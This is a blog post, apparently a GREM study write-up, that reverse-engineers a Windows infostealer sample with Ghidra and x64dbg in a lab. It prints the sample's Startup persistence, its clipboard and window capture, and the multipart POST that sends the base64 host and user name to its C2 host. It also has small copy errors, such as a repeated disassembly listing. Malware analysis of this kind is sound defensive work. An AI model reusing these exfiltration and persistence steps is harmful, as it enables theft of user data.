This post and all others for this month are part of the series which I used to help me prepare for my GIAC Reverse Engineer Malware (GREM) certification.
As always, the static and dynamic analysis was completed before any attempts to learn about this sample via Ghidra and x64dbg.
Taking a look at this from the perspective of both Ghidra and x64dbg by poking at a few function calls.
Ghidra Static Code Analysis
Looking at the GetCurrentProcess function, we see this function is called and the return value is pushed unto the stack.
00406205 ff d6 CALL ESI=>KERNEL32.DLL::GetCurrentProcess 00406207 50 PUSH EAX ; HANDLE hTargetProcessHandle fo
Wanting to understand what the SHGetSpecialFolderPathA function is about, below we see:
00401f84 6a 00 PUSH 0x0 ; BOOL fCreate for SHGetSpecialF 00401f86 6a 1a PUSH 0x1a ; int csidl for SHGetSpecialFold 00401f88 8d 44 24 08 LEA EAX=>file_path, [ESP + 0x8] 00401f8c 50 PUSH EAX ; LPSTR pszPath for SHGetSpecial 00401f8d 6a 00 PUSH 0x0 ; HWND hwnd for SHGetSpecialFold 00401f8f ff 15 74 CALL dword ptr [->SHELL32.DLL::SHGetSpecialFolderPathA]
My understanding is that the value 0x1a which is associated with the csidl determines the folder. This value 0x1a represents the APPDATA folder. Alternatively, can confirm this folder in the debugger. Note, from Ghidra's perspective, this call was made twice.
After finding the special folder, a call is made to CreateDirectoryA.
00401fff 6a 00 PUSH 0x0 ; LPSECURITY_ATTRIBUTES lpSecuri 00402001 50 PUSH EAX=>DAT_004342ac ; LPCSTR lpPathName for CreateDi 00402002 ff 15 38 CALL dword ptr [->KERNEL32.DLL::CreateDirectoryA]
Next up, we see a call is made to GetComputerNameA to learn the computer name.
00403580 68 f8 41 PUSH nSize_004341f8 ; LPDWORD nSize for GetComputerNameA ; = 00000010 00403585 68 d4 6d PUSH lpBuffer_00436dd4 ; LPSTR lpBuffer for GetComputerNameA ; = ?? 0040358a ff 15 18 CALL dword ptr [->KERNEL32.DLL::GetComputerNameA]
Once the function to get computer name has executed, we then see a call to GetUserNameA.
00403580 68 f8 41 PUSH nSize_004341f8 ; LPDWORD nSize for GetComputerNameA ; = 00000010 00403585 68 d4 6d PUSH lpBuffer_00436dd4 ; LPSTR lpBuffer for GetComputerNameA ; = ?? 0040358a ff 15 18 CALL dword ptr [->KERNEL32.DLL::GetComputerNameA]
Another function of interest relates to CreateFileA. Looking in Ghidra, there are multiple calls to this function. Specifically 5 calls. Looking at one of them, we see a normal file being created with read permission and the file should be opened only if it already exists.
LAB_00406729 XREF[1]: 00406721(j) 00406729 6a 00 PUSH 0x0 ; HANDLE hTemplateFile for CreateFileA 0040672b 51 PUSH this ; DWORD dwFlagsAndAttributes for CreateFileA 0040672c 50 PUSH EAX ; DWORD dwCreationDisposition for CreateFileA 0040672d 8d 85 e0 LEA EAX=>local_124, [EBP + 0xfffffee0] 00406733 50 PUSH EAX ; LPSECURITY_ATTRIBUTES lpSecurityAttributes f 00406734 52 PUSH EDX ; DWORD dwShareMode for CreateFileA 00406735 ff b5 f0 PUSH dword ptr [EBP + dwDesiredAccess] ; DWORD dwDesiredAccess for CreateFileA 0040673b ff b5 f4 PUSH dword ptr [EBP + lpFileName] ; LPCSTR lpFileName for CreateFileA 00406741 ff 15 b0 CALL dword ptr [->KERNEL32.DLL::CreateFileA]
Seeing a call to PathAppendA, we see this below this requires a pointer to the original path and another point to the string which will be appended. Looking forward to see what x64dbg shows us here.
004043a1 8d 4c 24 24 LEA ECX=>local_310, [ESP + 0x24] 004043a5 51 PUSH ECX ; LPCSTR pMore for PathAppendA 004043a6 8d 94 24 LEA EDX=>local_20c, [ESP + 0x12c] 004043ad 52 PUSH EDX ; LPSTR pszPath for PathAppendA 004043ae ff 15 88 CALL dword ptr [->SHLWAPI.DLL::PathAppendA]
Looking at the InternetOpenA call, we see
004072ed ff 75 1c PUSH dword ptr [EBP + dwFlags] ; DWORD dwFlags for InternetOpenA 004072f0 ff 75 18 PUSH dword ptr [EBP + lpszProxyBypass] ; LPCSTR lpszProxyBypass for InternetOpenA 004072f3 ff 75 14 PUSH dword ptr [EBP + lpszProxy] ; LPCSTR lpszProxy for InternetOpenA 004072f6 ff 75 10 PUSH dword ptr [EBP + dwAccessType] ; DWORD dwAccessType for InternetOpenA 004072f9 50 PUSH EAX ; LPCSTR lpszAgent for InternetOpenA 004072fa ff 15 1c CALL dword ptr [->WININET.DLL::InternetOpenA]
x64dbg Dynamic Analysis
Looking at GetCurrentProcess we confirm what we saw in Ghidra that the return value FFFFFFFF (-1) which is stored in EAX is pushed unto the stack, we also see this value is used as an argument to the GetProcessMitigationPolicy function which checks the mitigation policy of the calling process. This call to GetProcessMitigationPolicy is made multiple times within this sample.
Looking at the interactions, I seems this malware also interacts with the Clipboard as shown via RegisterClipboardFormatA. This call was also made multiple times.
Looking at the code before the return is executed, we see SHGetSpecialFolderPathA has a value of "C:\\Users\\SecurityNik\\AppData\\Roaming". Guess that confirms the 0x1A we learned about earlier via Ghidra points to Application Data folder. In another call, this function returned "C:\\Users\\SecurityNik\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
Looking at the CreateDirectoryA function, we see a directory named DataBackup is created.
Further confirmation that this directory has been created.
C:\Users\SecurityNik>dir %appdata% Directory of C:\Users\SecurityNik\AppData\Roaming 12/09/2020 11:53 AM <DIR> . 12/09/2020 11:53 AM <DIR> .. 12/09/2020 11:18 AM <DIR> DataBackup
Looking at the call to GetComputerNameA. It seems that GetComputerNameA, ended up calling GetComputerNameW. The first parameter to GetComputerNameW is a pointer to a buffer that receives the computer name. Looking at the output from x64dbg, we see the address 0x0019FB84 points to the buffer which received the computer name which is reported as SECRUTIYNIK-WIN. Surprisingly the call for the computer is made multiple times.
GetUserNameA calls GetUserNameExA and ultimately returns current logged in user who is SecurityNik.
We can further confirm the above two important as follows.
C:\Users\SecurityNik\AppData\Roaming\DataBackup>hostname SECURITYNIK-WIN10 C:\Users\SecurityNik\AppData\Roaming\DataBackup>whoami securitynik-win\securitynik
Looking at one of the calls to CreateFileA we see below a file named sed.ic being created in the previously created DataBackup folder. Later in the debugging, calls to CreateFileA resulted in the creation of a file named me.ic in the same folder.
After leaving the above code to run, I did not see the file created in the folder.
C:\Users\SecurityNik\AppData\Roaming\DataBackup>type me.ic ===================================================================== Active Window: Process Hacker [SECURITYNIK-WIN\SecurityNik] SEESION 12/09/20 11:18:03 {ClipBoard Data:nfig.edge.sk"}mm
C:\Users\SecurityNik\AppData\Roaming>wmic startup where "Caption like '%Data%'" list full Caption=DataABackup Command=DataABackup.lnk Description=DataABackup Location=Startup SettingID= User=SECURITYNIK-WIN\SecurityNik
Looking at the OpenProcess call, we see a call to create a process which allows duplication of its handle. Additionally, we see the process has 000013F4.
Using Hex2Dec from Sysinternals, we convert 0x13f4 to decimal and get 5108.
C:\Users\SecurityNik\AppData\Roaming>hex2dec -nobanner 0x13f4 0x13F4 = 5108
Digging deeper, we see that the process with decimal 5108 as its process ID is expolorer.exe.
C:\Users\SecurityNik\AppData\Roaming>wmic process where processID=5108 get ProcessID,name,CSName CSName Name ProcessId SECURITYNIK-WIN explorer.exe 5108
If I know anything at this point, it is whenever malware is seen opening a process, especially a process such as explorer[.]exe, we can all but conclude this is more than likely going to be some type of process injection. Let's continue this journey.
While not shown below, there was a call to InternetOpenA thus initializing the application's use of this function.
There was then another call to OpenProcess. However, this time it is an attempt to open its's own process with PID 0x794 which is decimal 1940.
C:\Users\SecurityNik\AppData\Roaming\DataBackup>hex2dec -nobanner 0x794 0x794 = 1940 C:\Users\SecurityNik\AppData\Roaming\DataBackup>wmic process where processID=1940 get ProcessID,name,CSName CSName Name ProcessId SECURITYNIK-WIN msdsrv.exe 1940
The following is the call to InternetConnectA which is attempting to connect to visitorzilla[.]com on port 0x50 (80).
At this point, I modified my host file adding an entry for visitorzilla[.]com.
C:\Users\SecurityNik\AppData\Roaming>echo 10.0.0.113 visitorzilla.com >> c:\windows\System32\drivers\etc\hosts C:\Users\SecurityNik\AppData\Roaming>type c:\windows\System32\drivers\etc\hosts | findstr /i visit 10.0.0.113 visitorzilla.com
Next we see a call to HTTPOpenRequestA via POST attempting to communicate with /werdfghswepfdhfr.php. Later a call was made to HTTPAddRequestHeaderSA and HTTPSendRequestA. These are not shown in this post.
Thsi above is followed by a call to InternetWriteFile for which 0x126 (294) bytes are to be written to a file named temp.txt.
Looking closer at the data pointed to in the buffer at 0x04557BB0 we see "--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93\r\nContent-Disposition: form-data; name=\"shfjshf\"\r\n\r\nU0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLw==\r\n--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93\r\nContent-Disposition: form-data; name=\"dssds\"; filename=\"temp.txt\"\r\nContent-Type: text/plain\r\nContent-Transfer-Encoding: binary\r\n\r\n"
JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93 - oaUqTqTEqOw U0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLw== - SECURITYNIK-WIN@SecurityNik/
If nothing, we know above there is information about the computer name and the user.
Later, another call was made to InternetWriteFile, this time with the following:
"\r\n--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93\r\nContent-Disposition: form-data; name=\\Csubmit\\C value=\\Csubmit\\C\r\n\r\n\r\n--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93--\r\n"
Once completed, there was a call to InternetCloseHandleA.
Looking at the internet connection from INetSim's perspective, we see:
remnux@remnux:/tmp$ cat /var/log/inetsim/service.log | grep --perl-regexp "\:21822\]" [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] connect [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: POST /werdfghswepfdhfr.php HTTP/1.1 [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Content-Type: multipart/form-data; boundary=JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93 [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: User-Agent: Top [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Host: visitorzilla.com [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Content-Length: 440 [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Cache-Control: no-cache [2020-12-11 09:39:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] info: POST data stored to: /var/lib/inetsim/http/postdata/f6083d9fb7a9dac9efd47287f5f4a83d16380e03 [2020-12-11 09:39:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] disconnect (timeout)
Looking at the contents of one of the postdata files created, we see:
remnux@remnux:~/malware/day1$ sudo cat /var/lib/inetsim/http/postdata/c317d7ab622a9ede0150aa8c6903d55fd2acd9ec --JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93 Content-Disposition: form-data; name="shfjshf" U0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLw== --JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93 Content-Disposition: form-data; name="dssds"; filename="temp.txt" Content-Type: text/plain Content-Transfer-Encoding: binary --JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93 Content-Disposition: form-data; name=\Csubmit\C value=\Csubmit\C --JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93--
I have not decoded the above. However, I'm sure if we did, it would be the same thing as we saw previously.
Continuing this journey, we see a call to DeleteFileA to delete the file sed.ic.
Verifying this file exists before this code executes.
C:\Users\SecurityNik\AppData\Roaming\DataBackup>dir sed.ic Volume in drive C has no label. Volume Serial Number is 6C10-15EA Directory of C:\Users\SecurityNik\AppData\Roaming\DataBackup 12/10/2020 03:25 PM 0 sed.ic 1 File(s) 0 bytes 0 Dir(s) 36,314,120,192 bytes free
Letting the call to DeleteFileA run, we see:
Confirming the file has been deleted, we see:
C:\Users\SecurityNik\AppData\Roaming\DataBackup>dir sed.ic Volume in drive C has no label. Volume Serial Number is 6C10-15EA Directory of C:\Users\SecurityNik\AppData\Roaming\DataBackup File Not Found
After hitting a few more breakpoints, the process Terminated. I believe one of the anti-debugging mechanism probably kicked in. At this point, I've achieved my objective. I've learned a bit more and I was able to extract some IoCs. Enough to call it a day on this.
References:
SANS FOR610 - GREM
Microsoft GetCurrentProcess
Why does GetCurrentProcess return -1
GetProcessMigitationPolicy
RegisterClipboardFormatA
SHGetSpecialFolderPathA
CreateDirectoryA
GetComputerNameA
GetComputerNameW
GetUserNameA
PathAppendA
OpenProcess
HTTPOpenRuquestA
InternetWriteFile
CSIDL values
Good post! Can you please point me to good books and resources where I can learn assembly and C for reverse engineering.
ReplyDelete